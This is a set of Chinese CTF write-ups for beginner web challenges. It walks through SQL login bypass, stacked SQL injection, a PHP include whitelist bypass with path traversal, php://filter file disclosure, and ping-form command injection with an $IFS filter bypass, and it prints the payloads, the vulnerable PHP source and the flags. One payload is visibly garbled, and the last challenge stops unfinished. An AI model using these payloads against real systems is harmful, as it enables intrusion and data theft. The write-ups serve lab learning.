[极客大挑战2019]EasySQL
我们点进靶机,看到是用户名和密码登录,再结合题目sql,我们才想到这个一道SQL注入的题目。
我们使用万能密码,就得到了flag:flag{3faed954-a380-4d93-b802-d1ed776c1b1a}
[极客大挑战2019]Havefun
我们点进靶机,右键检查
得到一段PHP代码,我们分析一下知道使用get方式传参,如果cat=dog ,则输出flag
<!--
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}
-->
我们在URL后面添加/?cat=dog,就得到了flag:
[HCTF2018]WarmUp
右键查看页面源代码,看到有个source.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<!--source.php-->
<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>
我们在URL后面添加/source.php,进入新的页面,发现有个hint.php
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
我们在原来的界面URL后面加上/hint.php,发现flag在ffffllllaaaagggg里面
我们回到source.php界面,根据代码的要求,在url后面加上/source.php?file=hint.php?ffffllllaaaagggg,发现新界面和source.php界面只是没有照片。
我们的思路就是正确的,可能只是flag不在这个目录,那么我们就遍历目录(…/)试一试,尝试多次后,最终得到flag:flag{d8c68cf3-fc39-4bd5-beec-59144cb9bcb9}
[ACTF2020 新生赛]Include
我们点进靶机,看到以下界面
我们点击“tips",进入一下界面,发现在地址栏这里有一个file=flag.php
我们使用/?file=php://filter/read=convert.base64-encode/resource=flag.php,打开flag.php文件,得到一串base64编码
我们进行base64解码,解码得到一下一串代码,于是flag:flag{3aa81c08-0ea9-42e8-83e8-3724bd2648dd}
<?php
echo "Can you find out the flag?";
//flag{3aa81c08-0ea9-42e8-83e8-3724bd2648dd}
[ACTF2020 新生赛]Exec
我们随便输一个ping地址(127.0.0.1),它显示:已发送3个数据包,已接收3个数据包,数据包丢失率为0%。3个数据包都来自127.0.0.1。
输入127.0.0.1;ls /,利用;来输入命令。
我们发现有个·flag文件,输入127.0.0.1;cat /flag进行查看flag文件,于是得到flag:flag{d81837e0-b908-4a0a-bac0-23ff569befe1}
[GXYCTF2019]Ping Ping Ping
我们点进靶机,进入界面只有这个
我们在URL上面添加/?ip=127.0.0.1,进入一下界面,内容成功回显
我们在URL后面改为添加/?ip=127.0.0.1;ls ,我们发现了flag.php和index.php
URL添加/?ip=127.0.0.1;cat flag.php,发现可能是空格被过滤了
添加/?ip=127.0.0.1;cat<flag.php,发现符号被过滤了
我们看一下index.php,进行相同的操作发现同样被过滤了
构造payload:/?ip=127.0.0.1;a=g;cat$IFS 9 f l a 9fla 9flaa.php
我们查看页面源代码,就看到了flag:flag{de261984-10ac-4604-ad11-795d62827f73}
/?ip=
<pre>PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: seq=0 ttl=42 time=0.036 ms
64 bytes from 127.0.0.1: seq=1 ttl=42 time=0.060 ms
64 bytes from 127.0.0.1: seq=2 ttl=42 time=0.059 ms
64 bytes from 127.0.0.1: seq=3 ttl=42 time=0.071 ms
--- 127.0.0.1 ping statistics ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max = 0.036/0.056/0.071 ms
<?php
$flag = "flag{de261984-10ac-4604-ad11-795d62827f73}";
?>
[SUCTF 2019]EasySQL
我们除了输入整数会出现内容,输入其他内容没有任何显现
尝试堆叠注入,输入1;show databases;#
输入1;show columns from Flag;#
在输入*;1,于是就得到了flag:flag{fac64f95-3877-4f3e-9772-47bb8585b31a}
[强网杯 2019]随便注
输入1
输入1‘
输入1’ or ‘1’=‘1,综合分析这是字符型注入,字段数为2
查询数据库名,输入1’ union select 1,2#,发现回显大量过滤
尝试堆叠注入,输入1’;show databases;#,成功回显,说明存在堆叠注入
查看表,输入1’;show tables;#
查看words,输入1’;show columns from words;#,发现有id,data